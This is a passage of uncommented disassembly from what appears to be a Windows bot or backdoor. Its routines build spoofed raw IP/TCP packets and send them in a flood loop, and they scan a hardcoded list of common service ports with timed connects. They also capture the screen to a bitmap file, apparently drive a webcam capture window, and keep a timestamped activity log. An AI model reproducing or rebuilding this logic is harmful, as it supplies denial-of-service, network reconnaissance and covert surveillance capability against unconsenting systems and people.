push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4F5530 ; connect
jmp loc_4154B7
; ---------------------------------------------------------------------------
loc_4153FB: ; CODE XREF: sub_4153D2+13j
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
xor edi, edi
push eax
inc edi
push 8004667Eh
push esi
mov [ebp+var_8], edi
call ds:dword_4F5514 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4E2F70 ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call ds:dword_4E2FB0 ; select
test eax, eax
jnz short loc_41545F
or eax, 0FFFFFFFFh
jmp short loc_4154B7
; ---------------------------------------------------------------------------
loc_41545F: ; CODE XREF: sub_4153D2+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_41546A
loc_415466: ; CODE XREF: sub_4153D2+B8j
; sub_4153D2+DCj
mov eax, edi
jmp short loc_4154B7
; ---------------------------------------------------------------------------
loc_41546A: ; CODE XREF: sub_4153D2+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_43A942 ; __WSAFDIsSet
test eax, eax
jnz short loc_41548C
lea eax, [ebp+var_210]
push eax
push esi
call sub_43A942 ; __WSAFDIsSet
test eax, eax
jz short loc_415466
loc_41548C: ; CODE XREF: sub_4153D2+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call ds:dword_4F54FC ; getsockopt
cmp eax, edi
jz short loc_415466
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4154B7: ; CODE XREF: sub_4153D2+24j
; sub_4153D2+8Bj ...
pop edi
pop esi
leave
retn
sub_4153D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154BB proc near ; CODE XREF: sub_415321+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], esi
call ds:dword_4F5524 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov ds:dword_4E67D0, eax
call ds:dword_4E2FA8 ; setsockopt
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_C], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_4155FF: ; CODE XREF: sub_4154BB+1B9j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, [edi]
push eax
call ds:dword_4E2FC8 ; htons
push ebx
push esi
push 2
mov [ebp+var_9A], ax
call ds:dword_4E3048 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_8], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4153D2
add esp, 10h
mov [ebp+var_10], eax
push [ebp+var_8]
call ds:dword_4E3060 ; closesocket
cmp [ebp+var_10], ebx
jnz short loc_41566C
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_41566C: ; CODE XREF: sub_4154BB+1A3j
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_4155FF
mov esi, offset dword_4E67D8
push offset asc_44D1A0 ; " "
push esi
call sub_41EA60
mov edi, ds:dword_4F537C
pop ecx
pop ecx
call edi ; GetTickCount
mov [ebp+var_8], eax
mov [ebp+var_4], ebx
loc_415696: ; CODE XREF: sub_4154BB+232j
call edi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4156EF
mov eax, [ebp+var_4]
mov eax, [ebp+eax*4+var_10C]
cmp eax, ebx
jz short loc_4156CC
push eax
push esi
push offset aSD_2 ; "%s%d "
push esi
mov [ebp+var_C], eax
call sub_41EA60
add esp, 10h
jmp short loc_4156E6
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4154BB+1FAj
push 0FFFFh
push ebx
call sub_419313
pop ecx
pop ecx
push eax
call ds:dword_4E2FC8 ; htons
movzx eax, ax
mov [ebp+var_C], eax
loc_4156E6: ; CODE XREF: sub_4154BB+20Fj
inc [ebp+var_4]
cmp [ebp+var_4], 1Ch
jl short loc_415696
loc_4156EF: ; CODE XREF: sub_4154BB+1ECj
; sub_4154BB+45Cj
push 28h
push ebx
push offset byte_4E6774
call sub_41E4B0
mov esi, 0FFFFh
mov ds:byte_4E6774, 45h
push esi
push 400h
mov ds:byte_4E677D, 6
mov ds:byte_4E6775, 8
call sub_419313
add esp, 14h
push eax
call ds:dword_4E2FC8 ; htons
push 28h
mov ds:word_4E6778, ax
call ds:dword_4E2FC8 ; htons
or ds:byte_4E677C, 0FFh
cmp ds:dword_4E676C, ebx
mov ds:word_4E6776, ax
mov ds:word_4E677A, bx
jnz short loc_415760
push [ebp+arg_0]
call sub_415926
pop ecx
jmp short loc_41576B
; ---------------------------------------------------------------------------
loc_415760: ; CODE XREF: sub_4154BB+298j
push offset dword_4E6150
call ds:dword_4E3008 ; inet_addr
loc_41576B: ; CODE XREF: sub_4154BB+2A3j
mov ds:dword_4E6780, eax
mov eax, [ebp+arg_0]
push 4000h
mov ds:dword_4E6784, eax
mov ds:byte_4E6795, bl
call ds:dword_4E2FC8 ; htons
push esi
push ebx
mov ds:word_4E6796, ax
call sub_419313
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_419313
add esp, 10h
add edi, eax
push edi
call ds:dword_4E2FC4 ; htonl
mov ds:dword_4E678C, eax
mov al, ds:byte_4E6794
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov ds:byte_4E6794, al
mov ax, word ptr [ebp+var_C]
mov ds:dword_4E6790, ebx
mov ds:word_4E679A, bx
mov ds:word_4E678A, ax
mov ds:dword_4E67B0, edi
mov ds:byte_4E67B4, bl
mov ds:byte_4E67B5, 6
call ds:dword_4E2FC8 ; htons
mov ds:word_4E67B6, ax
mov ax, ds:word_4E678A
mov ds:word_4E679C, 2
mov ds:dword_4E67A0, edi
mov ds:word_4E679E, ax
mov [ebp+var_4], ebx
jmp short loc_415821
; ---------------------------------------------------------------------------
loc_41581C: ; CODE XREF: sub_4154BB+436j
mov esi, 0FFFFh
loc_415821: ; CODE XREF: sub_4154BB+35Fj
cmp [ebp+var_4], ebx
push esi
push ebx
jnz short loc_415855
call sub_419313
pop ecx
pop ecx
push eax
call ds:dword_4E2FC8 ; htons
mov ds:word_4E6788, ax
mov eax, ds:dword_4E6780
mov ds:dword_4E67AC, eax
mov ds:byte_4E6795, 2
mov ds:dword_4E6790, ebx
jmp short loc_415872
; ---------------------------------------------------------------------------
loc_415855: ; CODE XREF: sub_4154BB+36Bj
mov ds:byte_4E6795, 10h
call sub_419313
pop ecx
pop ecx
push eax
call ds:dword_4E2FC8 ; htons
movzx eax, ax
mov ds:dword_4E6790, eax
loc_415872: ; CODE XREF: sub_4154BB+398j
inc ds:word_4E6778
inc ds:dword_4E678C
mov ax, ds:word_4E678A
push 5
pop ecx
mov esi, offset word_4E6788
mov edi, offset dword_4E67B8
mov ds:word_4E677E, bx
mov ds:word_4E6798, bx
push 14h
rep movsd
mov esi, offset byte_4E6774
mov ds:word_4E679E, ax
push esi
call sub_40AF06
push 20h
push offset dword_4E67AC
mov ds:word_4E677E, ax
call sub_40AF06
add esp, 10h
mov ds:word_4E6798, ax
push 10h
push offset word_4E679C
push ebx
push 28h
push esi
push ds:dword_4E67D0
call ds:dword_4E302C ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_41581C
call ds:dword_4F537C ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_41591C
push [ebp+arg_8]
call ds:dword_4F534C ; Sleep
jmp loc_4156EF
; ---------------------------------------------------------------------------
loc_41591C: ; CODE XREF: sub_4154BB+451j
pop edi
pop esi
mov eax, offset dword_4E67D8
pop ebx
leave
retn
sub_4154BB endp
; =============== S U B R O U T I N E =======================================
sub_415926 proc near ; CODE XREF: sub_4154BB+29Dp
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_419313
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_415926 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415944 proc near ; CODE XREF: sub_401C87+7269p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_455180
mov edi, 0B8h
loc_415958: ; CODE XREF: sub_415944+33j
cmp byte ptr [esi], 0
jz short loc_41597B
push [ebp+arg_0]
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_41597B
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_455D00
jl short loc_415958
jmp short loc_4159BD
; ---------------------------------------------------------------------------
loc_41597B: ; CODE XREF: sub_415944+17j
; sub_415944+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_455180[esi]
push ebx
call sub_41E4B0
push 17h
push [ebp+arg_0]
push ebx
call sub_41E510
push 9Fh
lea eax, dword_455198[esi]
push [ebp+arg_4]
push eax
call sub_41E510
add esp, 24h
inc ds:dword_43FA40
pop ebx
loc_4159BD: ; CODE XREF: sub_415944+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415944 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159C4 proc near ; CODE XREF: sub_401C87+289Dp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_44D1AC
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 14h
xor edi, edi
mov esi, offset dword_455180
loc_4159EE: ; CODE XREF: sub_4159C4+72j
cmp byte ptr [esi], 0
jz short loc_415A29
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_44D1C0
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41EC30
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 2Ch
loc_415A29: ; CODE XREF: sub_4159C4+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_455D00
jl short loc_4159EE
pop edi
pop esi
leave
retn
sub_4159C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A3C proc near ; CODE XREF: sub_401404+372p
; sub_401404+3F3p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_4F5404 ; GetLocalTime
mov ebx, offset dword_4EABD8
mov edi, 80h
mov esi, offset dword_4E6BD8
loc_415A5E: ; CODE XREF: sub_415A3C+3Dj
cmp byte ptr [ebx], 0
jz short loc_415A75
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41E510
add esp, 0Ch
loc_415A75: ; CODE XREF: sub_415A3C+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415A5E
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41EC30
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415A3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AB0 proc near ; CODE XREF: sub_4019A5+F7p
; sub_401C87:loc_40220Dp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41F9C0
lea eax, [ebp+var_80]
push eax
call sub_415A3C
add esp, 14h
leave
retn
sub_415AB0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_415B0B
push ebx
push dword ptr [ebp+10h]
push offset dword_44D1F8
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409C75
add esp, 14h
loc_415B0B: ; CODE XREF: _0:00415AF2j
cmp [ebp+18h], ebx
jz short loc_415B23
push dword ptr [ebp+18h]
call sub_41E710
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_415B23
mov [ebp-8], eax
loc_415B23: ; CODE XREF: _0:00415B0Ej _0:00415B1Ej
mov [ebp+14h], ebx
mov esi, offset dword_4E6BD8
loc_415B2B: ; CODE XREF: _0:00415B73j
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_415B75
cmp [esi], bl
jz short loc_415B64
cmp [ebp+18h], ebx
jz short loc_415B50
cmp [ebp-4], ebx
jnz short loc_415B50
push dword ptr [ebp+18h]
push esi
call sub_418B5C
pop ecx
test eax, eax
pop ecx
jz short loc_415B64
loc_415B50: ; CODE XREF: _0:00415B3Aj _0:00415B3Fj
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409C75
add esp, 14h
loc_415B64: ; CODE XREF: _0:00415B35j _0:00415B4Ej
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_4EABD8
jl short loc_415B2B
loc_415B75: ; CODE XREF: _0:00415B31j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_415B79 proc near ; CODE XREF: sub_401C87+2798p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4E6BD8
xor ecx, ecx
loc_415B80: ; CODE XREF: sub_415B79+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4EABD8
jl short loc_415B80
cmp [esp+arg_C], ecx
jnz short loc_415BAE
push ecx
push [esp+4+arg_8]
push offset dword_44D204
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409C75
add esp, 14h
loc_415BAE: ; CODE XREF: sub_415B79+19j
push offset dword_44D218
call sub_415A3C
pop ecx
retn
sub_415B79 endp
; ---------------------------------------------------------------------------
push esi
mov esi, offset dword_4E6BD8
loc_415BC0: ; CODE XREF: _0:00415BE1j
cmp byte ptr [esi], 0
jz short loc_415BD5
push dword ptr [esp+8]
push esi
call sub_418B5C
pop ecx
test eax, eax
pop ecx
jnz short loc_415BE7
loc_415BD5: ; CODE XREF: _0:00415BC3j
add esi, 80h
cmp esi, offset dword_4EABD8
jl short loc_415BC0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415BE7: ; CODE XREF: _0:00415BD3j
xor eax, eax
pop esi
inc eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BEC proc near ; DATA XREF: sub_401C87+2848o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
xor edx, edx
rep movsd
xor edi, edi
mov [ebp+var_8], 80h
inc edi
cmp [ebp+var_10], edx
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415C3F
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_44D22C
push eax
push [ebp+var_11C]
call sub_409C75
add esp, 14h
loc_415C3F: ; CODE XREF: sub_415BEC+33j
cmp [ebp+var_98], 0
jz short loc_415C5F
lea eax, [ebp+var_98]
push eax
call sub_41E710
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415C5F
mov [ebp+var_8], eax
loc_415C5F: ; CODE XREF: sub_415BEC+5Aj
; sub_415BEC+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4E6BD8
loc_415C68: ; CODE XREF: sub_415BEC+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415CC2
cmp byte ptr [esi], 0
jz short loc_415CB1
cmp [ebp+var_98], 0
jz short loc_415C97
cmp [ebp+var_4], 0
jnz short loc_415C97
lea eax, [ebp+var_98]
push eax
push esi
call sub_418B5C
pop ecx
test eax, eax
pop ecx
jz short loc_415CB1
loc_415C97: ; CODE XREF: sub_415BEC+90j
; sub_415BEC+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409C75
add esp, 14h
loc_415CB1: ; CODE XREF: sub_415BEC+87j
; sub_415BEC+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4EABD8
jl short loc_415C68
loc_415CC2: ; CODE XREF: sub_415BEC+82j
lea eax, [ebp+var_31C]
push offset dword_44D248
push eax
call sub_41EA60
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415CFC
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409C75
add esp, 14h
loc_415CFC: ; CODE XREF: sub_415BEC+EEj
lea eax, [ebp+var_31C]
push eax
call sub_415A3C
push [ebp+var_18]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_415BEC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D1B proc near ; CODE XREF: sub_401C87+73A7p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call ds:dword_4E2FB4 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_415F4F
push 8
push edi
call ds:dword_4E2FD0 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call ds:dword_4E2FD0 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call ds:dword_4E2FD0 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_415D7D
push 18h
push edi
call ds:dword_4E2FD0 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_415D7F
; ---------------------------------------------------------------------------
loc_415D7D: ; CODE XREF: sub_415D1B+50j
xor ebx, ebx
loc_415D7F: ; CODE XREF: sub_415D1B+60j
push edi
call ds:dword_4E3014 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_415F34
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call ds:dword_4E300C ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_415F3F
push eax
push [ebp+var_4]
call ds:dword_4E2E98 ; SelectObject
cmp eax, esi
jz loc_415F3F
cmp eax, 0FFFFFFFFh
jz loc_415F3F
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call ds:dword_4E3010 ; BitBlt
test eax, eax
jz loc_415F3F
cmp ebx, esi
jz short loc_415E3C
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call ds:dword_4E2EEC ; GetDIBColorTable
mov ebx, eax
loc_415E3C: ; CODE XREF: sub_415D1B+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call ds:off_4F53C0
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_415F1F
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call ds:dword_4F53B4 ; WriteFile
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
cmp ebx, esi
jz short loc_415F01
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
loc_415F01: ; CODE XREF: sub_415D1B+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_4F53B4 ; WriteFile
push [ebp+arg_0]
call ds:off_4F533C
xor esi, esi
inc esi
loc_415F1F: ; CODE XREF: sub_415D1B+1A2j
push [ebp+var_1C]
call ds:dword_4E2F24 ; DeleteObject
push [ebp+var_4]
call ds:dword_4E2E84 ; DeleteDC
mov edi, [ebp+var_20]
loc_415F34: ; CODE XREF: sub_415D1B+70j
push edi
call ds:dword_4E2E84 ; DeleteDC
mov eax, esi
jmp short loc_415F51
; ---------------------------------------------------------------------------
loc_415F3F: ; CODE XREF: sub_415D1B+C7j
; sub_415D1B+D9j ...
push edi
call ds:dword_4E2E84 ; DeleteDC
push [ebp+var_4]
call ds:dword_4E2E84 ; DeleteDC
loc_415F4F: ; CODE XREF: sub_415D1B+23j
xor eax, eax
loc_415F51: ; CODE XREF: sub_415D1B+222j
pop edi
pop esi
pop ebx
leave
retn
sub_415D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F56 proc near ; CODE XREF: sub_401C87+74CEp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push ds:dword_4EABD8
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call ds:dword_4E2F18
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415F94
mov eax, esi
jmp loc_41614A
; ---------------------------------------------------------------------------
loc_415F94: ; CODE XREF: sub_415F56+35j
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_415FB1
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4E3024 ; SendMessageA
jmp short loc_415FB3
; ---------------------------------------------------------------------------
loc_415FB1: ; CODE XREF: sub_415F56+47j
xor eax, eax
loc_415FB3: ; CODE XREF: sub_415F56+59j
cmp eax, ebx
jnz short loc_415FBE
loc_415FB7: ; CODE XREF: sub_415F56+88j
; sub_415F56+BCj
mov ebx, esi
jmp loc_41613F
; ---------------------------------------------------------------------------
loc_415FBE: ; CODE XREF: sub_415F56+5Fj
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_415FDB
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_415FDB: ; CODE XREF: sub_415F56+71j
cmp [ebp+var_20], ebx
jz short loc_415FB7
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_416001
push ebx
push ebx
push edi
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_416004
; ---------------------------------------------------------------------------
loc_416001: ; CODE XREF: sub_415F56+98j
mov [ebp+arg_4], ebx
loc_416004: ; CODE XREF: sub_415F56+A9j
push [ebp+arg_4]
call sub_41BE40
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415FB7
push [ebp+arg_4]
call sub_41BE40
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41602B
xor ebx, ebx
inc ebx
jmp loc_41613F
; ---------------------------------------------------------------------------
loc_41602B: ; CODE XREF: sub_415F56+CBj
push [ebp+var_4]
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416048
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
